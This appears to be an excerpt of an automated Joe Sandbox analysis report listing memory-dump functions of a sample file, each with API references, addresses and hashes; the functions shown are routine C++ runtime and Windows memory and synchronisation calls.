Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: b04ef6d79e3b14f5370efa40eaf55aa06999920c2c08b406a69f4b2bdf91c252
Instruction ID: d1c7a57b656d34271472a3fb6325837d00407c2f845daccfbb86d9ccdb573ca9
Opcode Fuzzy Hash: b04ef6d79e3b14f5370efa40eaf55aa06999920c2c08b406a69f4b2bdf91c252
Instruction Fuzzy Hash: 2001A171D0021ADBCB15EBA4D942BBE7765BF80720F25050DE5006B281CF789E01EB91

Function 00FCE843 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCE84A
std::_Lockit::_Lockit.LIBCPMT ref: 00FCE854

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

collate.LIBCPMT ref: 00FCE88E
std::_Facet_Register.LIBCPMT ref: 00FCE8A5
std::_Lockit::~_Lockit.LIBCPMT ref: 00FCE8C5

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 74d2a561e54a2b5e898d5a600e98a57140de509d6ff768b1d20616a18716354c
Instruction ID: b3dcdb38149361b54b8c2b6a729b35a0b9c7555a21f2bf50f96997f8591eae57
Opcode Fuzzy Hash: 74d2a561e54a2b5e898d5a600e98a57140de509d6ff768b1d20616a18716354c
Instruction Fuzzy Hash: 4B016176D0011ADBCB15FBA4DD42BAE7765AF84710F24440DF5016B2D1CF789E05EB92

Function 00FC29F6 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC29FD
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2A07

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

moneypunct.LIBCPMT ref: 00FC2A41
std::_Facet_Register.LIBCPMT ref: 00FC2A58
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2A78

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: d189ee5d3b3d19dd38679a41d974725718c37b40331bf27ab605cd5c7db43ff9
Instruction ID: 82d9c5226eb3af949324f514cddf5682160f4043aaaf4f6cce80ee37ae52d1f7
Opcode Fuzzy Hash: d189ee5d3b3d19dd38679a41d974725718c37b40331bf27ab605cd5c7db43ff9
Instruction Fuzzy Hash: 9601C47190021ADBCB16EBA4CD46BBE7766EF84720F24040DF50067291CF789E02EB91

Function 00FC2961 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2968
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2972

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

moneypunct.LIBCPMT ref: 00FC29AC
std::_Facet_Register.LIBCPMT ref: 00FC29C3
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC29E3

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 77945cd0bfbd23bb3c66c1bb8801cf7c337c0b51a6b0535fd3f556fd11f7303b
Instruction ID: 6081bcf43659cbcd1affcbd29d95a697d3c8948705f106aab269f91038b1a7b4
Opcode Fuzzy Hash: 77945cd0bfbd23bb3c66c1bb8801cf7c337c0b51a6b0535fd3f556fd11f7303b
Instruction Fuzzy Hash: 6A018072D0021ADBCB16EBA4DD42BBE7B65AF84720F24450DF5106B292DF789E01FB91

Function 00FCEA97 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCEA9E
std::_Lockit::_Lockit.LIBCPMT ref: 00FCEAA8

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

moneypunct.LIBCPMT ref: 00FCEAE2
std::_Facet_Register.LIBCPMT ref: 00FCEAF9
std::_Lockit::~_Lockit.LIBCPMT ref: 00FCEB19

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 0a0a921f6e11130d02c16bc49e456e977cc943083ff33afadc6a633290c8931a
Instruction ID: bf053a2fadfe67c0de34b2d662e02ae0fb169a0b371d424c63c84f4d2d60387a
Opcode Fuzzy Hash: 0a0a921f6e11130d02c16bc49e456e977cc943083ff33afadc6a633290c8931a
Instruction Fuzzy Hash: 7F01A172D0011ADBCB15EBA4D942BBE7765BF80720F24040DE50167292CF789E01EB91

Function 00FC2A8B Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2A92
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2A9C

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

moneypunct.LIBCPMT ref: 00FC2AD6
std::_Facet_Register.LIBCPMT ref: 00FC2AED
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2B0D

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: ced2b18ea3eb914d6193e01037a704f467bd13675c78b5855a7ee32b2a8c130d
Instruction ID: a1b68668a4ae6cace6533c8c24ba32305325a869928b530c6e888d596b8c8bb9
Opcode Fuzzy Hash: ced2b18ea3eb914d6193e01037a704f467bd13675c78b5855a7ee32b2a8c130d
Instruction Fuzzy Hash: C801617290021ADFCB16EFA4D942BAE7765AF84720F24440EE50067292CF789E02EB91

Function 00FCEB2C Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCEB33
std::_Lockit::_Lockit.LIBCPMT ref: 00FCEB3D

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

moneypunct.LIBCPMT ref: 00FCEB77
std::_Facet_Register.LIBCPMT ref: 00FCEB8E
std::_Lockit::~_Lockit.LIBCPMT ref: 00FCEBAE

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 5930bc00e4dad03c6dd262025b247d32f1267c9e97aa0ae5ad18ea90ae5aa99b
Instruction ID: af62d77b76af90714a8810a7f8eea26ba75a3c7d65d2ee5d533dba6309a5852c
Opcode Fuzzy Hash: 5930bc00e4dad03c6dd262025b247d32f1267c9e97aa0ae5ad18ea90ae5aa99b
Instruction Fuzzy Hash: 6A01A17290011ADBCB15EBA4DD82BBEB765AF84720F24040EE5116B291CF789E01EB91

Function 00FC2B20 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2B27
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2B31

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

moneypunct.LIBCPMT ref: 00FC2B6B
std::_Facet_Register.LIBCPMT ref: 00FC2B82
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2BA2

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 41ca992306b4c070713464551df103f5725b5f496a1a4af0e4a68e1610989c87
Instruction ID: d3b1c53d400e732d5cd3638a1085670f2c7e01b2fa29e178804b0a6d52ce8903
Opcode Fuzzy Hash: 41ca992306b4c070713464551df103f5725b5f496a1a4af0e4a68e1610989c87
Instruction Fuzzy Hash: F5015E7590021ADBCB15FBA49942BAD7775AF84720F24040DE50467291DF789E01EB91

Function 00FC2D74 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2D7B
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2D85

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

numpunct.LIBCPMT ref: 00FC2DBF
std::_Facet_Register.LIBCPMT ref: 00FC2DD6
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2DF6

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: 06043b6263cb5e238710bc3172855a89d77ece0fc3eb31d0b7c5e563d831c461
Instruction ID: c1e7254e342c3d3e99dc64a8e5a98e009046875182befedb1f7214fd6755e964
Opcode Fuzzy Hash: 06043b6263cb5e238710bc3172855a89d77ece0fc3eb31d0b7c5e563d831c461
Instruction Fuzzy Hash: F401A175D0021ADBCB16EBA0D942BBD7765BF94720F24040DE51167291CF789A01EB91

Function 00FD2C4E Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0100DD3C,?,?,00FB2427,0100E638,00FF6B40), ref: 00FD2C58
LeaveCriticalSection.KERNEL32(0100DD3C,?,?,00FB2427,0100E638,00FF6B40), ref: 00FD2C8B
RtlWakeAllConditionVariable.NTDLL ref: 00FD2D02
SetEvent.KERNEL32(?,00FB2427,0100E638,00FF6B40), ref: 00FD2D0C
ResetEvent.KERNEL32(?,00FB2427,0100E638,00FF6B40), ref: 00FD2D18

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: bb4c46ddc35d12d83be402e24fd6375497e2ddcd9213e3c03b20c4011913a350
Instruction ID: bfd3c2badae8ad8bb928f3c8f5df394fcce24d2baee802868e0a9f92b95c6a6f
Opcode Fuzzy Hash: bb4c46ddc35d12d83be402e24fd6375497e2ddcd9213e3c03b20c4011913a350
Instruction Fuzzy Hash: A9016D31504214DFD722BF98F908AA4BB69FF49351B04049AF84297324CB361D41EBA1

Function 00FBBB40 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 181memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,8F6E4A30,?,00000000), ref: 00FBBBA3
Concurrency::cancel_current_task.LIBCPMT ref: 00FBBD7F

Strings

true, xrefs: 00FBBCAB
false, xrefs: 00FBBC95

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: AllocConcurrency::cancel_current_taskLocal
String ID: false$true
API String ID: 3924972193-2658103896
Opcode ID: e153a1b2ab742f1abb5ff7c1fb0a0f06dd056bc96d576ab45796473038ed378d
Instruction ID: e58dbcc267918700cdc5611cf82d28e399cab5060892ee6b9b72583573cf2987
Opcode Fuzzy Hash: e153a1b2ab742f1abb5ff7c1fb0a0f06dd056bc96d576ab45796473038ed378d
Instruction Fuzzy Hash: 7161A1B1D00348DBDB10DFA5CD41BDEB7B8FF05304F14825AE945AB281E7B9AA44DB91

Function 00FCD3CB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FCD3D2

Part of subcall function 00FC254E: __EH_prolog3.LIBCMT ref: 00FC2555
Part of subcall function 00FC254E: std::_Lockit::_Lockit.LIBCPMT ref: 00FC255F
Part of subcall function 00FC254E: std::_Lockit::~_Lockit.LIBCPMT ref: 00FC25D0

_Find_elem.LIBCPMT ref: 00FCD46E

Strings

%.0Lf, xrefs: 00FCD419
0123456789-, xrefs: 00FCD41E

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: %.0Lf$0123456789-
API String ID: 2544715827-3094241602
Opcode ID: 51f7e6cc867f5a5366aa9fadc006547697a66addc2341b9e0d74f45e7a2c479c
Instruction ID: fe99cb20b90774c33b8e7d1bee351e017ec28f9ce0ef67d2586af6fab6754bfc
Opcode Fuzzy Hash: 51f7e6cc867f5a5366aa9fadc006547697a66addc2341b9e0d74f45e7a2c479c
Instruction Fuzzy Hash: D0418B31900219DFCF05DFA4CD81EEDBBB5BF08314F000069E901AB255DB34EA5AEBA1

Function 00FCD66F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FCD676

Part of subcall function 00FB8610: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8657
Part of subcall function 00FB8610: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8679
Part of subcall function 00FB8610: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB86A1
Part of subcall function 00FB8610: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB880E

_Find_elem.LIBCPMT ref: 00FCD712

Strings

0123456789-, xrefs: 00FCD6C2
0123456789-, xrefs: 00FCD6BD

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 3042121994-2494171821
Opcode ID: b7e5dd43d893eed6143b97d66dc1754a0f58d387e5d7e18c21b0547bb717b65b
Instruction ID: a92ba926cea6b57ab91cc0d66f44c4ae661b69bc2499017c43b1474caeeb2478
Opcode Fuzzy Hash: b7e5dd43d893eed6143b97d66dc1754a0f58d387e5d7e18c21b0547bb717b65b
Instruction Fuzzy Hash: D5418C71900219DFCF01EFA4CD81AEEBBB5BF08310F140069E901AB255DB34EA56EFA1

Function 00FD175A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FD1761

Part of subcall function 00FB9270: std::_Lockit::_Lockit.LIBCPMT ref: 00FB92A0
Part of subcall function 00FB9270: std::_Lockit::_Lockit.LIBCPMT ref: 00FB92C2
Part of subcall function 00FB9270: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB92EA
Part of subcall function 00FB9270: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB9422

_Find_elem.LIBCPMT ref: 00FD17FB

Strings

0123456789-, xrefs: 00FD17A8
0123456789-, xrefs: 00FD17AD

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 3042121994-2494171821
Opcode ID: fd8fe1ac32c85e5f5f100bf4d1ea19a370b29f78f24cabeef9498aed17741f63
Instruction ID: 0c12e646b24d5269ec56260f63c571a2cff4bc3f3139d84faff3ceb33f3c241a
Opcode Fuzzy Hash: fd8fe1ac32c85e5f5f100bf4d1ea19a370b29f78f24cabeef9498aed17741f63
Instruction Fuzzy Hash: 96416D31D00209EFCF05DFA4D881AEEBBB6BF04310F14415AF911A7262DB799A02EF91

Function 00FC8386 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC838D

Part of subcall function 00FC1C42: _Maklocstr.LIBCPMT ref: 00FC1C62
Part of subcall function 00FC1C42: _Maklocstr.LIBCPMT ref: 00FC1C7F
Part of subcall function 00FC1C42: _Maklocstr.LIBCPMT ref: 00FC1C9C
Part of subcall function 00FC1C42: _Maklocchr.LIBCPMT ref: 00FC1CAE
Part of subcall function 00FC1C42: _Maklocchr.LIBCPMT ref: 00FC1CC1

_Mpunct.LIBCPMT ref: 00FC841A
_Mpunct.LIBCPMT ref: 00FC8434

Strings

$+xv, xrefs: 00FC843F

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Maklocstr$MaklocchrMpunct$H_prolog3
String ID: $+xv
API String ID: 2939335142-1686923651
Opcode ID: 91bfb7a5ecffb0a87523b0d08e8c9b5ea2ccfe762c473e62afabecbb5847f253
Instruction ID: f566e3fbaa278ce7ac90369a1b9231d55b1d662751afd48c4593baa1cd378bbf
Opcode Fuzzy Hash: 91bfb7a5ecffb0a87523b0d08e8c9b5ea2ccfe762c473e62afabecbb5847f253
Instruction Fuzzy Hash: 7F21C1B1804B92AED725DF75C881B7BBEF8BB09300F04455EE099C7A42D734EA02DB90

Function 00FCFFEA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCFFF1
_Mpunct.LIBCPMT ref: 00FD007E
_Mpunct.LIBCPMT ref: 00FD0098

Strings

$+xv, xrefs: 00FD00A3

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Mpunct$H_prolog3
String ID: $+xv
API String ID: 4281374311-1686923651
Opcode ID: 608336f44b67059ff46a5cfdec8d315d76d99c05cebe218581307f2eee5c7f27
Instruction ID: e82f419901478b1e56f77af4d7055737e9370754012a48cee2f87416846773f3
Opcode Fuzzy Hash: 608336f44b67059ff46a5cfdec8d315d76d99c05cebe218581307f2eee5c7f27
Instruction Fuzzy Hash: B221C4B1804B926FD725DF758894B7BBEF9AB09301F08491EE099C7A42D774E601DB90

Function 00FB24C0 Relevance: 6.4, APIs: 5, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FB1434,?,00000000), ref: 00FB2569
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FB1434,?,00000000), ref: 00FB2589
LocalFree.KERNEL32(?,00FB1434,?,00000000), ref: 00FB25DF
CloseHandle.KERNEL32(00000000,8F6E4A30,?,00000000,00FF3C40,000000FF,00000008,?,?,?,?,00FB1434,?,00000000), ref: 00FB2633
LocalFree.KERNEL32(?,8F6E4A30,?,00000000,00FF3C40,000000FF,00000008,?,?,?,?,00FB1434), ref: 00FB2647

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Local$AllocFree$CloseHandle
String ID:
API String ID: 1291444452-0
Opcode ID: 5cf2149864f42028b0f557872210f94e6b50539098fc15c4407b3aac216076fd
Instruction ID: 8c1faa17146175d8c2e25f34719ddb8d93d9cb5530ae264dd92422c08e8e5795
Opcode Fuzzy Hash: 5cf2149864f42028b0f557872210f94e6b50539098fc15c4407b3aac216076fd
